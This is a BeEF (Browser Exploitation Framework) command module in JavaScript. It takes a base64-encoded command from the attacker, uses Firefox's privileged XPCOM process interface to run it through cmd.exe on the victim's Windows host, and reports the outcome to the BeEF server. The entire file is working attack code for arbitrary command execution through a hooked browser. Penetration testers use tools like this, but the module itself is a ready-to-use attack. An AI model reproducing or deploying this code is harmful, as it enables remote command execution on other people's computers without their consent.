//
// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {

	var result = "command sent";

	try {
		var command_str = beef.encode.base64.decode('<%= Base64.strict_encode64(@command_str) %>');
		var getWorkingDir= Components.classes["@mozilla.org/file/directory_service;1"].getService(Components.interfaces.nsIProperties).get("Home",Components.interfaces.nsIFile);
		var lFile = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
		var lPath = "C:\\WINDOWS\\system32\\cmd.exe"; // maybe "%WINDIR%\\system32\\cmd.exe" would work?
		lFile.initWithPath(lPath);
		var process = Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
		process.init(lFile);
		process.run(false,['/c', command_str],2);
	} catch (e) {
		result = "an unexpected error occurred";
	}

	beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+result);

});

